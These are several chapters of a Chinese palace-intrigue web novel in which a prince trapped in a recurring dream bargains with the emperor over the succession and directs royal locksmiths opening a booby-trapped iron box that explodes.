难不成就连小老九都对朕这个位置起了觊觎之心?
一瞬间,昭明帝的眼神变得凌厉了起来。
猛虎虽老,尚有余威!
周昕阳自然看出了自己父皇的神情变化,当即开口:“父皇,你应该知道,我是没有争储之心的。”
“况且您也明白,我大虞的国策是立长立嫡,我既非嫡长,又年纪尚轻,还是最小的藩王,我是绝对没有这个机会的。”
听见周昕阳这么说,昭明帝神情稍微缓和了一些,“小老九,既然如此,你为什么还要趟这趟浑水呢?留在京城对你来说没有好处,只有坏处。”
“朕特意将泽川之地给你,就是希望你能平安喜乐,过完幸福的一生。”
“云梦州,自古以来就是天下粮仓,泽川之地更是依山傍水、风景秀丽,朕的良苦用心,你能明白吗?”
“父皇,我明白。”
“可您现在很为难,儿臣想要为您分忧。”周昕阳认真地说道。
闻言,昭明帝叹息了一声,“唉,朕的这么多子嗣,只有你懂得朕的不容易……”
“小老九,朕对你如何?”
“父皇对儿臣自是极好的。”周昕阳回答。
“既然如此,你为何要参与争储之事?”
昭明帝的眼神瞬间锐利,一拍桌案,站了起来,盯着周昕阳。
周昕阳清楚自己的所作所为,现在在昭明帝的眼中就是参与了争储之事。
由于他去见了三皇子,导致现在昭明帝怀疑他是故意陷害太子,想要扶持三皇子上位,两个皇子联合谋夺皇位,这是任何一个皇帝所不能接受的事情。
“父皇,我没有。”周昕阳语气坚定的回答道。
“没有?”
“那你给朕解释一下,你为何会突然去东宫?”
“为何会知晓太子谋反之事?”
“又为何从东宫逃跑,秘密去见老三?”
“还有这个燧发枪又是怎么回事?”
“这些你都作何解释?”昭明帝神情严厉。
在昭明帝看来,小老九的行为都太古怪了!根本解释不清楚!
他肯定有着自己的目的。
现在又开口想要留在京城,他究竟在谋算着什么?
是皇位吗?
又不太像……
是想要扶持老三上位,赚一个从龙之功吗?
昭明帝死死盯着周昕阳,等待着他的回应。
“父皇,你相信我吗?”周昕阳突然问道。
昭明帝冷声说:“朕现在让你解释清楚这些原因,不是让你反问朕!”
“因为你有梦魇之症,从小到大,朕都对你很宽容。”
“现在看来,你有些得寸进尺了。”
“父皇,我做了一个梦……”周昕阳开口解释。
但话还没说完,就被昭明帝打断,“行了,泽川王,朕已经听够了你的梦,现在不想听了。”
“你要不跟朕解释清楚缘由。”
“要不朕就让宸察院的人来查。”
“他们的手段,你也知晓。”
“你别逼朕!”
周昕阳深吸了一口气:“父皇,既然你不信我,那我也没什么好说的了。”
“好好好……来人,把泽川王带下去,严加看管。”昭明帝吩咐道。
“是。”
门外
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的宫廷侍卫走了进来,将周昕阳带了出去。
“来人,让厉斩秋来见朕。”
昭明帝冷声道。
“是。”
片刻之后,厉斩秋来到了御书房。
“臣宸察院右提督使厉斩秋,参见陛下。”厉斩秋恭敬行礼。
“让你调查的事情,你调查得如何了?”
“这个东西,可是宫中遗失的贡品?”
昭明帝指着桌面上的星**,问道。
“回陛下,这把燧发枪并不是宫中的贡品。”
“在泽川王身上,还搜出了一些弹丸和**。”厉斩秋从身上拿出一个布袋,恭敬递给了昭明帝。
“这些弹丸也不是西域之物,更像是仿制之物。”
“哦?”昭明帝微微蹙眉,“这么说,这把星**是老九自己造的?”
“若非如此,就是泽川王从西域私下采买的。”厉斩秋回答。
“他一个藩王,来京城,带这个东西做什么?”
“他想行刺朕?”
昭明帝淡淡说道。
“这……”厉斩秋一时间迟疑了。
藩王入宫,肯定是经过检查的,再加上东宫之事,周昕阳又被检查一遍,还是宸察院的检查。
两次检查,这么大一把枪,没发现?
那无疑是巨大的失职。
“陛下,臣可以肯定在东宫的时候,泽川王身上绝对是没有这个东西的。”
厉斩秋连忙保证。
“也就是说,见完老三后,他有了这个东西。”
“如果你们没有拦住他,让他重新回了宫,是不是就有可能行刺朕?”
昭明帝淡淡说道。
“陛下……”厉斩秋很想说,周昕阳不会做出如此大逆不道的事情。
可现在的情况,他能给周昕阳做保证吗?
他敢吗?
“说,有没有这个可能?”昭明帝语气严厉。
“是有这个可能。”厉斩秋低下了头。
“查!”
“把泽川王这些年的表现、接触了什么人,统统调查清楚,送到这里来。”
“还有……现在立刻让老三进宫。”
“朕要问一问朕的这位三王爷,他究竟想干嘛?”
第51章 问心
皇宫,宸察院,秘密监狱。
“这下麻烦咯。”
周昕阳躺在木板床上,望着天花板,心中思绪悄然转动。
父皇已经完全不相信自己了……
头疼了。
周昕阳梳理着从老二、老三处得到的情报。
总的来说,就两点。
其一,老二一定会削藩,至于改变过去后,会不会善待自己,不好说。
其二,老三性子温和,若为帝,不会进行大刀阔斧的改革,是守成之君,且自己掌握他的一些把柄。
这些把柄虽然没有关键性的影响。
但操作得当,也能废了老三。
在竞争的关键时刻,暴出信任危机,诗词**、贤名事迹**,这对老三来说,绝对是致命的打击。
一个失去了百姓信任的皇子,又怎么能继承皇位呢?
“如果不能解决父皇的信任问题,接下来的梦境,就只有第一次溜出来,被找到后,关在这里,直到梦境结束,那无疑太浪费时间了。”
“黑夜不比白天,能活动的范围有限,能做的事情,也有限。”
“这个梦境循环可不太妙啊!”
周昕阳只觉得很头疼。
白天梦境,他还能到处跑,能有些操作,可晚上梦境,就难受了。
深夜基本都在睡觉,除非把别人拉起来,不然什么事情都做不成。
可若是让周昕阳睡觉……那就扯淡了。
哪有在梦境里睡觉的?
梦中梦?
睡两次是吧?
疯狂套娃?
“原来的梦境时间是巳时一刻到亥时一刻,也就是怀表时间9:15到晚上的21:15,一共十二小时。”
“现在的梦境倒过来了。”
“从21:15开始,一直到早上的9:15,扣除睡觉时间,哪怕六点起来,也只有三个小时可以活动。”
“难搞啊!”
周昕阳现在发现打破循环的这个时间点很差啊!
属于不能做事情的时间点!
哪怕他可以不睡觉,那梦境中的角色,难道能陪他不睡吗?
再加上,他现在被宸察院的人盯上了。
这属于重点关照对象,再想要脱身,可就没那么容易了。
周昕阳是跟宸察院打过交道的。
人家的手段,他可是太了解了。
一开始,属于是没防备,现在外面肯定是重重防备。
除非周昕阳真打算玩命逃亡,不然的话,基本上跑不出去了。
“还是没摸清楚打破梦境循环的规则,不敢轻易尝试,否则……”
周昕阳心中一叹,因为悼恭太子周怀曦的关系,他现在根本不敢乱来,生怕打破循环后,影响到现实中的自己。
“主要是乱来也没有什么意义。”
“得不到什么有用、有价值的情报。”
周昕阳认真思考后,发现还是要跟父皇昭明帝沟通。
原因无他。
昭明帝的真实想法很重要。
他到底想选谁?
“如果打破梦境循环的力量,能够改变老二上位的事实,让老三上位,那同样能阻止老二上位,让父皇依旧当皇帝,维持现状。”
“这其实对我更有利。”
周昕阳思绪转动,又有了一个想法。
无论是老二,还是老三,都是从龙之功,都有风险。
可直接选择父皇,稳住如今的形势,那岂不是有更多时间开锁筹谋?
“来人,我要见父皇,我有话要说。”
想到这里,周昕阳翻身下床,开始敲门。
……
御书房。
“老三。”
昭明帝坐在龙椅上,看着不远处的周焕章,神情淡漠平静。
“儿臣在。”
周焕章心头一紧,连忙恭敬行礼。
“朕问你。”
“今夜,你见过小老九吗?”昭明帝淡淡开口。
周焕章心中有些慌乱,想了想,回答道:“回父皇,儿臣没见过。”
“哦?”
“是吗?”
昭明帝站起身来,“今夜,发生了一件大事。”
“你可知道?”
“儿臣不知。”周焕章回答。
“不知?”
“呵呵。”
“小老九没告诉你吗?”
昭明帝轻声问道。
“父皇,儿臣确实没见过九弟。”周焕章腿一软,直接跪了下来,“请父皇明鉴。”
“没见过?”
“那你能不能解释一下这个东西?”
昭明帝冷哼一声,打开抽屉,将星**,丢到了他的面前。
嘶!
周焕章一下子就
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慌了。
恐惧、害怕的情绪涌上心头。
老九是骗我的?
他根本就没打算选自己?
也没打算选老二?
他从始至终都是父皇的人?
该怎么办?
我该怎么说?
周焕章极为惶恐,浑身忍不住颤抖,嗫嚅了两下,都没说出话来。
见此情形,昭明帝一下子就猜到了此物是周焕章的。
“啪!”
他一拍桌案,喝道:“还不如实招来?”
周焕章一激灵,当即以头抢地:“父皇,儿臣有罪。”
“说!”昭明帝冷声道。
“父皇,儿臣确实见过老九,他……”周焕章一下子如竹笋倒豆子一般,将发生的事情,尽数说了出来。
“哼!”
“这个老九,倒是聪明。”
“比你强多了。”
昭明帝听完事情经过,当即明白了周昕阳离开的原因。
无非就是投注。
自保罢了!
周焕章微微颤抖,不敢吭声。
“朕还没死呢!”
“你们就惦记着朕的位子,你们真是好孝顺啊!”
昭明帝阴恻恻的说道。
“父皇,儿臣错了。”周焕章低头颤抖。
“老三,朕待你如何?”昭明帝淡漠发问。
“自然是极好的。”周焕章低声回答。
“你做的那些事情,朕可有说什么?”昭明帝又问。
“儿臣惶恐。”周焕章声音更低。
“朕帮你隐瞒。”
“帮你擦屁股。”
“你以为你事情做得很干净?”
“若没有朕,没有宸察院出手,你的这些腌臜事早就暴露了。”
“懂吗?”昭明帝冷漠说道。
“谢父皇大恩。”
“儿臣该死,还望父皇责罚。”周焕章说道。
昭明帝摇了摇头:“行了,起来吧。”
“儿臣不敢。”周焕章低声道。
“朕让你站起来。”昭明帝的声音凌厉、威严了起来。
“是。”
周焕章颤抖站起。
“挺直腰板。”
“看着朕。”
昭明帝冷声道。
“是。”周焕章提心吊胆的看向昭明帝。
“老三,你想当皇帝吗?”
昭明帝突然开口问道。
第52章 昭明帝的心思
“儿臣不敢!”
周焕章心头一惊,连忙道。
“不敢?”
“你不是就是这么做的吗?”
“你费尽心思拉拢老九,不就是为了让他陷害老二?”
“你不是不敢,你是害怕,害怕朕是在试探你!”
昭明帝的声音冷漠、威严,充满着帝王之气。
“儿臣……儿臣……”周焕章一时语塞,颤颤巍巍的看向昭明帝。
昭明帝摇了摇头,拍了拍周焕章的肩膀:“老三啊!”
“其实你的性子,朕很清楚。”
“有的时候,朕也在想,若你是太子就好了。”
此话一出,周焕章眼神一下子就亮了,露出难以置信的表情,看向自己的父皇:“父皇……您的意思是?”
“哎,你若是太子,朕也不用担心骨肉相残的事情出现了。”昭明帝轻声叹息。
“父皇,儿臣……”周焕章刚想要说些什么,就被昭明帝挥手打断。
“但你当不了太子。”
周焕章顿时如坠冰窟。
心凉了半截。
“父皇,为什么?”周焕章忍不住问道。
昭明帝看着周焕章:“即便老大被废,也还有老二,你身为三皇子,朕若立你为太子,得位不正,天下必起议论。”
“当然了,天下议论,其实也无妨。”
“只要你有能稳定天下的能力,议论也无惧。”
“但老三,你有这个能力吗?”
“我……”周焕章说不出话来,他很想说,自己有。
可他什么情况,宸察院清楚,昭明帝更清楚。
“哎。”
昭明帝又是一声叹息:“你性子软弱,能力又不够,让你当太子,不是在帮你,而是在害你。”
“父皇……”周焕章脸色难看,却也辩驳不了。
“你觉得小老九怎么样?”昭明帝突然话锋一转。
“九弟?”周焕章微微一愣,心中在思考着父皇的用意,“九弟看似年幼无知,可实则心思活络,胸有韬略,颇为不凡。”
“是吧?”
昭明帝微微颔首,“那若是由小老九辅佐你,你可有信心?”
“嗯?”
周焕章心中一喜,连忙道:“父皇,我有信心。”
“哼。”
“喜形于色,不堪大用。”
昭明帝训斥道。
“是。”周焕章当即不敢吭声。
“行了,今日这番话,不过是朕跟你闲聊打趣,你听听就算了,不必放在心里。”昭明帝摆了摆手,“你且下去吧……”
正在这时,门外传来了敲门声。
“砰砰砰……”
“怎么了?”昭明帝皱眉,被突然打断,他很不高兴。
“陛下,泽川王想见您。”门外传来宸察院侍卫的声音。
“嗯?”周焕章思绪转动,若有所思。
“让他过来吧。”
昭明帝想了想,吩咐道:“你,躲到屏风后面去。”
“朕没让你出来,你不许吭声,更不能出来。”
“不然庭仗三十。”
“是。”周焕章乖乖躲到屏风后面。
他也很好奇父皇究竟会跟老九说什么?
还有……刚刚父皇所说的,都是真的吗?
自己真的有希望?
周焕章眼中闪过希冀的光芒。
片刻之后,周昕阳被带来了御书房。
“小老九,你找朕?”
“何事?”
“说吧。”
昭明帝坐在椅子上,望着周昕阳。
“父皇,我能不能猜一猜您的心思?”周昕阳突然开口说出了这样一番话。
“嗯?”
昭明帝微微一愣,“行,那你猜吧。”
屏风后的周焕章也是一愣,这个九弟,究竟想要干什么?
好大的胆子!
“父皇,您想要让老三当太子,对吧?”周昕阳一字一句的说道。
这句话说完,整个御书房都安静了下来。
嘶!
周焕章心脏狂跳,九弟的话,再结合刚刚父皇的暗示,难道说,我真有这个机会坐上那个位子?
“谁告诉你的。”
“你为什么会这么认为?”
昭明帝神情平静,看着周昕阳。
“因为父皇清楚,相比老大,老二如果上位,对天下并不好。”
“老二是藩王,在朝中并无根基,也没有亲信,想要管理朝政,就必须依靠您的帮助……”
“可他的性格阴鸷,做事不择手段,一旦上位,为
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了保证自己的地位,绝对会进行削藩,对兄弟下手。”
“这是一场灾难。”
“您不会希望看见这点。”
“这也是您迟迟没有废掉太子的原因,哪怕您知晓太子私穿龙袍、私刻玉玺,也选择了视而不见。”
周昕阳沉声说道。
其实这些都是屁话,真正让周昕阳确定的,只有一点。
那就是数月之前,这个时间节点。
足足数月的时间,太子被抓,关入宗人府,都这么长时间了。
如果昭明帝想要选老二,早就选了。
而他没有动作,就是最好的答案。
换句话说,如果老二能当得上太子,他又何必冒险兵变,篡位登基呢?
直接顺位继承,有正儿八经的皇帝支持,难道不香吗?
就是他看穿了昭明帝的心思。
所以才起兵作乱的。
当然了,在周昕阳的设想中,或许老六也是有机会的,不然也不会留在京城那么长时间。
可最终他还是回了自己的封地。
这就有了结果。
有顺位继承的对象,却不选,某种程度上,就已经给出了答案。
“您看重的是稳定。”
“您需要的是一个能够带领大虞平稳发展的皇帝……”
昭明帝望着周昕阳:“泽川王,你以为自己很了解朕?”
“身为藩王,妄议储君之事,此乃大罪。”
“就你这番话,朕就可以让你去陪太子,你信不信?”
“儿臣当然相信。”周昕阳躬身一礼,“但儿臣更相信自己的判断。”
“若太子不乱来,等时机成熟,您自会让二哥、三哥返回封地。”
“可太子做了忤逆之事,触及了您的底线,他一定会被废。”
“他逼着您,只能从老二、老三之中选择一人。”
“原因无他。”
“因为边疆四王,您不能选,选则动摇国本,而我与老六,无论是年纪,还是能力,都稍显不足,上位难以服众。”
“而老二的性情乖张阴鸷,他上位,肯定会残杀兄弟,稳固皇位。”
“所以,您肯定会选老三。”
“只有砥野王成为太子,才能稳住江山社稷。”
第53章 赌约
屏风之后,周焕章听着这话,心头一震。
原来父皇存的是这个心思?
我居然一点也没看透?
我真是蠢笨如猪!
九弟,你当真厉害啊!
周焕章心中暗暗佩服。
昭明帝冷笑一声:“哼!小老九,天真!”
“你刚刚说只有砥野王成为太子,才能稳住江山社稷?”
“你可知道老三,并非嫡长?”
“他的母妃只是妃,不是贵妃,更不是皇贵妃,身份地位不够。”
“而老二的母妃是皇贵妃,仅次于皇后。”
“我大虞立太子,立嫡立长,朕没道理放着老二不选,而去选老三?”
“老九,你猜错了。”
周昕阳想了想,拱手道:“父皇,儿臣发现太子造·反之事,可有功绩?”
“自然是有的。”昭明帝点了点头,“怎么?”
“想要用这个功绩来抵过?”
“并非如此。”周昕阳摇了摇头,“三个月。”
“什么?”昭明帝微微蹙眉,“什么三个月?”
“儿臣留京三个月,赌老二必反。”周昕阳沉声开口。
“什么?”
周焕章听闻此话,忍不住出声惊呼。
“嗯?”
昭明帝嗯了一声,周焕章当即会意,连忙捂住嘴巴。
“老二必反?”
“为什么?”昭明帝问道。
“因为只要父皇不作出选择,老二就一定会反,因为他很清楚自己没机会了。”周昕阳笃定的说道。
“立嫡立长。”
“太子被废,他的位置,本无可动摇。”
“可结果却是父皇您含糊不定,迟迟不肯立他为太子。”
“所以儿臣笃定老二必反。”
“若老二反了,那砥野王成为太子,顺理成章,名正言顺。”
还能这样?
周焕章只觉得柳暗花明又一村?
这也可以?
太妙了!
我的九弟!
“如果老二不反,你又当如何?”昭明帝冷声道。
“请父皇废了我的藩王之位。”周昕阳语气坚定。
“好。”
“看来你很有自信。”
昭明帝点了点头,“那朕给你这个机会。”
“就留你三个月。”
“让你继续开箱。”
“多谢父皇。”周昕阳拱手道。
“但你要记住,从现在开始,你每天行程都必须向朕汇报,不能脱离宸察院的视线。”
“三个月内,那个箱子一定要打开。”
昭明帝吩咐道。
“是。”周昕阳行礼道。
“还有,不要想着诬陷老二。”
“这可不算你赢。”昭明帝提醒道。
“父皇放心,儿臣绝不诬陷。”周昕阳回答。
“好,下去吧。”昭明帝摆了摆手。
“是。”
周昕阳转身离开了御书房。
在离开之后,他深深看了一眼屏风方向。
“滚出来。”
昭明帝冷声道。
“儿臣知错。”周焕章连忙走了出来。
“让你别出声。”
“你控制不住?”
昭明帝喝道。
“儿臣一时惊讶,没控制住,还望父皇责罚。”周焕章直挺挺的跪了下来。
“哼。”
昭明帝冷哼一声,“你都听见了?”
“听见了。”周焕章点头。
“老九很看好你啊!”昭明帝淡淡说道。
“儿臣惶恐。”周焕章低声道。
昭明帝骂道:“惶恐个屁!”
“老九这么看好你,你也给朕争点气,朕会派人去你府上,教你如何批阅奏疏,如何处理政务……”
“父皇!”周焕章眼前一亮。
“别高兴的太早,如果老二真谋反了,朕就立你为太子,如果没有,那太子之位,你们还要公平竞争。”
“朕的太子,不能是庸才。”
“你给朕滚蛋。”
“滚回去睡觉。”
昭明帝给了周焕章一脚,踹到他屁股上。
“是是是。”周焕章摸着屁股,退出了御书房。
昭明帝嘴角勾起一丝笑容。
……
“走。”
“带我去东宫。”
周昕阳吩咐道。
“这……”两个侍卫表情一僵。
“王爷,你别为难我们啊!”
“这不合规矩!”
周昕阳淡淡道:“父皇已经同意,只要我在皇宫内,向他汇报行程就好。”
“不信,你们自己去问。”
“你们做不了主。”
“让能做主的人来。”
“是。”侍卫想了想,去请宸察院的千户大人。
片刻之后,老熟人冷千嶂来了。
“王爷,你又想干
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嘛?”
冷千嶂看见周昕阳就头疼。
“不干嘛,睡不着,想去开锁。”
“咋了?”
“不行?”
周昕阳理直气壮的说道。
“王爷,你能不能稍微安分一点,也让我们睡个觉。”
“差不多就行了。”
“你不困的嘛?”
冷千嶂一阵头大。
“不困啊!”
“神清气爽,精神百倍。”周昕阳一拍对方的肩膀,“好了,少啰嗦,快带路。”
“你做不了主,就去问父皇,他同意的。”
“算我怕了你。”冷千嶂脸色难看,“等着。”
“嗯。”周昕阳点了点头。
片刻之后,冷千嶂回来了。
“怎么样?”
“父皇咋说?”周昕阳笑眯眯的问道。
“陛下说,既然你不想睡,那就随便你。”冷千嶂淡淡说道。
“你看?”
“带路。”
周昕阳露出笑容,打了一个前进的手势。
冷千嶂叹息一声:“哎。”
无奈的他,只能默默在前面带路。
大概一炷香后,他们回到了东宫。
“王爷,请吧。”冷千嶂指着大殿中央的铁箱,说道。
“怎么都停了?”
周昕阳皱眉,“谁让他们停的?”
“不睡觉吗?”冷千嶂一愣。
“那不会轮流睡吗?”
“非要一起睡觉?”
“开箱是大事,你以为点卯上班呢?”
“肯定要加班加点的干啊!”
“加班啊!”
“艹,我都不睡觉,他们睡个屁啊!”
“叫起来!”
周昕阳骂道。
“不是,你不睡觉,你也不让别人睡啊?”冷千嶂一阵无语,这个泽川王怎么这么霸道?
“睡个屁!”
“起来嗨!”
“轮流睡!”
“你这个是怎么管理的?”
“你叫不叫?”
“你不叫,我就找厉斩秋投诉你!”
周昕阳理直气壮的说道。
“你!”
冷千嶂直接给周昕阳的无耻给打败了,气得说不出话来。
“去不去?”周昕阳道。
冷千嶂深吸一口气:“泽川王,你别太过分,得寸进尺。”
“不去?”周昕阳反问。
“去。”
冷千嶂转头就走。
第54章 第四把锁
片刻之后,一半的锁匠,睡眼惺忪的,走了过来。
“什么情况?”
“不是说可以睡觉吗?”
“怎么又不能睡觉了?”
“轮流睡觉,这么卷的吗?”
“要**……好困!”
“我们进度不是挺快了吗……”
锁匠们长吁短叹地抱怨着。
周昕阳一眼就看见了一个老熟人:“喂!”
“公孙启。”
公孙启一脸懵逼,“王爷,您叫我?”
“怎么?”
“王爷,你认识他?”
冷千嶂狐疑看着周昕阳。
嗯?
周昕阳猛地反应过来,在这一次的梦境,自己应该是不认识公孙启的。
毕竟这一次梦境,提出用笨办法开锁的,可是自己。
而非公孙启。
“他们交流的时候,我听见了他的名字,不行吗?”
“有问题?”
周昕阳神情平淡,反问道。
“不,没问题。”冷千嶂摇了摇头。
“公孙启,对于这第四把锁,你有没有什么想法?”周昕阳直接问道。
公孙启微微蹙眉,看着铁箱上铁链交织的机关铜锁:“王爷,这种锁,基本上错三次,锁芯就锁**。”
“一旦锁死,哪怕用撬的,都很难打开。”
“所以我们没有轻易尝试。”
“这种锁,用得的是最复杂的工艺,基本与刑部大牢锁的等级差不多了。”周昕阳接过话头,淡淡说道,“这种早就知道的废话,就不用说了。”
“我就问你,有没有想到方法?”
此话一出,众锁匠包括冷千嶂都看向了公孙启。
“或许我们可以尝试把锁链斩断……”公孙启咳嗽了两声后,低声说出了一个建议。
“这叫想到办法?”冷千嶂直接气笑了,“这个方法,还要你们想?”
“我都能想到!”
“那让你们这些宫廷锁匠来做什么?”
“你们专业人士就提出这种办法?”
公孙启解释道:“大人,这也是王爷给我的创意,笨方法未必不是最优解。”
“如果慢慢破解,肯定会耽误很多时间,不如直接砍断锁链,更省事。”
“这种锁链,是玄铁所制,极为坚硬,想要磨断,少说也要三四天,上面锁链最少也要断开三处,才能取下来,这就是十余天。”冷千嶂冷声道:“难道说,给你们十余天,你们还打不开吗?”
“有可能打不开。”公孙启认真点头。
“你!”冷千嶂气得不行,“废物!”
“你确定取下锁链,就能打开铁箱?”周昕阳打断了两人的对话。
“王爷,你觉得有什么问题吗?”公孙启问道。
“你仔细看这把机关铜锁是不是跟铁箱镶嵌在一起?”周昕阳指着机关铜锁,说道。
“好像是的。”公孙启仔细观察了一番后,皱起了眉头。
“所以如果要用笨方法,磨锁链,不如直接撬锁,或是沿着缝隙撬铁箱,看看能不能直接把箱子外部破坏掉,尝试暴力打开。”周昕阳建议道。
“如果是这样的话,磨锁链和撬锁、破坏箱体,最好一起进行,这样能保证最迟十几天,就能打开铁箱。”公孙启点了点头,说道。
“又一起进行?”冷千嶂站在一旁,总觉得两人像开玩笑一样。
明明是技术型的工作,怎么变成了蛮力?
那要这些锁匠做什么?
溜门撬锁都撬不开?
这基本功也太差了吧?
“这个思路不错。”
周昕阳给了肯定的回答。
不过一个疑惑,也在他的心中浮现。
在改变梦境循环之前,是没有这个铁箱的,他从老六口中得到了这个答案。
而他改变过去后,本该存于梦境的铁箱,在现实生活中出现了。
可这有一个问题。
那就是铁箱最终被打开了没有?
要知道现实世界,与梦境世界相比,已经过去了数月之久。
中间有着很大的偏差。
按照锁匠的方式,数月的时间,用笨方法也该打开了。
所以,最终铁箱是被打开了,那么里面的东西究竟是什么呢……周昕阳思绪转动,若不是情况不允许,他真想派人去京城调查一下。
他实在是好奇啊!
“思路不错?”
“哪里不错?”
冷千嶂难以理解周昕阳的脑回路。
“行吧,开始撬吧。”
“也可以开始尝试开锁了。”
“机关锁而已。”
“多试几次,锁就锁了吧。”
周昕阳无所
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谓,反正没打破循环之前,每天都有一次机会,三次就卡死锁芯,那怕个锤子。
第二天再来呗。
“大人,您看?”公孙启试探看向冷千嶂。
“就这样吧。”冷千嶂摆了摆手,反正最差就是硬撬,总能打开的。
只要能完成任务,过程不重要。
“好,那就开始磨锁链,公孙启,你上去开锁。”周昕阳吩咐道。
“大人?”公孙启再次看向冷千嶂。
冷千嶂无奈:“王爷说的话,你没听见吗?”
“明白。”
公孙启点了点头,抱起工具箱,开始尝试撬锁。
周昕阳在一旁坐下,看着公孙启的动作。
公孙启采用的是最稳妥的开始方式,先用白色的泥块,小心翼翼的推入锁孔的缝隙,等凝固之后,再拖出来,搞懂机关锁的内部结构……
这种开锁方式,一般称作配钥匙。
“这种机关锁是由钥匙和机关序列组成的,不光要钥匙对,还要将上面九个按钮的顺序按对,错一个,哪怕钥匙对了,也打不开……”公孙启低声说道。
周昕阳微微颔首,第四把锁不好开,他是知道的。
长方形大小,表面是铜制,实际上由精铁与玄铁打造,上面九个凸起点,再加上中间的锁孔,以及纵横交错的特制锁链,组成一把特制的机关锁。
“没点难度,还需要你们这些顶级锁匠吗?”周昕阳淡淡说道。
“呵呵。”公孙启呵呵一笑,表情有些尴尬。
四把锁,两把锁都是您开的……还有一把也是用您的方法开始,我们是顶级锁匠?
那您是什么?
公孙启拿出磨棒,按照形状,小心翼翼的磨出了一把钥匙。
冷千嶂站在一旁看着,“这么快就弄出钥匙了?”
“钥匙要配合机关按钮,光顺序,我们就打不开。”
“光有钥匙,没用。”公孙启解释道。
“那不能用笨办法尝试吗?”冷千嶂问道。
“我们只有三次机会。”公孙启摇了摇头。
你们只有三次,可我的机会无限啊……周昕阳思绪微动,默默想道。
可公孙启的下一句话,让周昕阳整个人都不好了。
“而排列组合……一共有三十六万二千八百八十种。”
第55章 火光
“不是?”
“你到底是锁匠?”
“还是天宫院的算术师傅?”
“这么能算?”
周昕阳诧异的看向公孙启,表情很是微妙。
冷千嶂也看向公孙启:“确实,你怎么算这么快?”
“从小对数字比较敏感。”公孙启挠了挠头,有些尴尬的说道。
“你这算数天赋,当锁匠,屈才了。”周昕阳感叹道。
“没有没有,我只会开锁修锁,其他啥也不会。”公孙启摆了摆手,脸色微红,显得有些尴尬。
“行了,别废话了,开始吧。”周昕阳说道。
公孙启点了点头,拿出配置好的钥匙,开始尝试开锁。
伴随着钥匙插入,公孙启整个人都贴在了铁箱上,耳朵仔细聆听着机关齿轮的声响,咔嚓咔嚓……
周昕阳也趴了上去,听着声音变化。
公孙启的动作飞快,随意拿下九个按钮。
七-四-六-三-二-八-九-一-五。
咔哒。
整个锁,没反应。
没开。
周昕阳心头一沉。
失败了。
不过也正常,这么容易能打开。
也就不是机关锁了。
公孙启露出失望之色,刚想开口。
“滴滴滴……”
突然,铁箱内,传出了急促的滴滴滴声音。
“嗯?”
“怎么回事?”
周昕阳脸色一变。
公孙启脸色也变了,“这是什么声音?”
“好急促,好……”
“轰!”
巨大的**声,震耳欲聋,响彻整个东宫。
顷刻间,炽热的火光覆盖周昕阳和公孙启……
周昕阳眼前一黑,瞬间失去了知觉。
画面定格。
刹那破碎。
彩色的世界,彻底崩解,犹如掉下来的雪花,缤纷漂亮,却又各不相同。
无数的雪花碎片,在落下来的那一刻,逐渐化成挥动翅膀的梦幻蝴蝶,飞往遥远的未知彼岸。
……
云梦州,泽川王府。
后院,主卧房间。
周昕阳猛然睁开双眼,倏地坐了起来,大口大口地喘着气。
“火光?”
“**?”
“铁箱的最后一把锁,居然连接着铁箱中的**?”
周昕阳拿起枕头边的怀表,看了一眼时间。
【12:14:46】
“提早苏醒了三个小时。”
“也就是说,梦境中,我只待了六个小时,我就**。”
“被**炸死……”
周昕阳放下怀表,脑中尽是刚刚浮现出来的画面,喃喃自语:“还好,还好,梦境循环没被打破。”
“看来与老二、老三,以及父皇交流,并不是这一次打破循环的关键。”
“不然……我就醒不过来了。”
“直接**。”
嘶!
想到这个可能,周昕阳心中生起了一丝凉意,只觉得恐怖无比。
他居然在鬼门关走了一遭?
“好险!”
“真的是好险!”
周昕阳越想越后怕,越想越觉得恐怖。
“如果跟父皇沟通,立下赌局,就是打破梦境循环的关键,我岂不是就这么没了?”
“不行,下一次,一定要谨慎谨慎再谨慎。”
“确定不会打破梦境循环,再开始浪……”
周昕阳咽了一口唾沫,翻身下床,倒了一杯热水,缓缓喝下。
他的手还在微微颤抖。
“不过,反过来想想,这也侧面说明了,梦境循环没被打破,同时也没那么容易打破,而且时间,同样是十二小时,也就是六个时辰。”
伴随着热水下肚,周昕阳逐渐冷静下来,开始思考。
“那个老道士,从始至终就没想让别人把箱子打开。”
随着思考,这个想法,悄然在周昕阳的脑海中浮现。
很浅显的逻辑。
如果说,铁箱上锁,为的就是储存秘密。
既然是秘密,自然就不希望被人发现。
老道士一个铁箱上了四层锁,这既是一种防护,也表明了不想被打开的态度。
“既然不想被打开,却又交给太子十五年的时间……”
“古怪。”
“这究竟是什么意思啊?”
周昕阳一阵头疼。
其实从始至终,他不明白的点就是……动机。
老道士这么做的动机是什么?
他始终没有搞懂。
没有无缘无故的爱,也没有无缘无故的恨。
无论是谁,做事都是有目的的,没有目的,是不可能有所行动的。
可老道士的动机是什么呢?
他究竟想干
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什么呢?
“为什么要在铁箱的最后一层设计这种装置呢?”
“他如果想杀太子,用符水毒杀,用**暗杀,不都比**来得方便?”
“如果为了更好脱身,洗清自己的嫌疑?何不在第一把锁,第二把锁上设计机关,非要在最后一把锁?”
“他又怎么保证太子一定会忍不住好奇心去开锁呢?”
“万一不开锁,他暗杀的计划不就失败了?”
“再说了,随便下个毒,以老道士的本事,想要脱身,也没那么难吧?”
“何必费尽心机的弄出这么多花样呢?”
“就为了炸死太子?”
周昕阳实在头疼,想不通老道士的动机是什么?
帮太子的理由是什么?
如果是为了荣华富贵,又为什么在帮助之后,消失不见了?
如果不是为了荣华富贵,他又为什么要参与太子之事呢?
“铁箱里面的东西,究竟是什么?”
“到底藏了什么秘密?”
“为什么里面的东西,能帮太子上位,又为何只能管十五年?”
“难道真的是巫蛊之术的桐木偶人?”
“所谓巫蛊之术,难道真的有用?”
周昕阳一直以来对这种玄而又玄的玩意,是不相信的,是嗤之以鼻的。
可随着梦境循环被打破,现实世界也随之改变后,他现在有点相信了。
毕竟自己身上发现这种玄乎的事情,再来个巫蛊之术,也属正常吧?
“被带偏了……”
周昕阳摇了摇头,将发散的思绪收拢回来。
“回归问题本身,这个铁箱,可以开,但要换方法了。”
“不能乱撬、乱开了。”
“不然每次都被炸死,万一某次梦境循环被打破,就直接一觉不醒了。”
周昕阳表情严肃起来。
“开锁是肯定要继续开的。”
“这个铁箱的秘密,一定要揭开。”
“不过可以先缓一缓。”
“先把现实中的问题解决掉……”
“圣旨,今天必须要接下,而且去京城,也必须抓紧时间动身。”
“最起码在表面上,我不能暴露自己知道京城发生的情况,一定要稳住朝廷、稳住老二。”
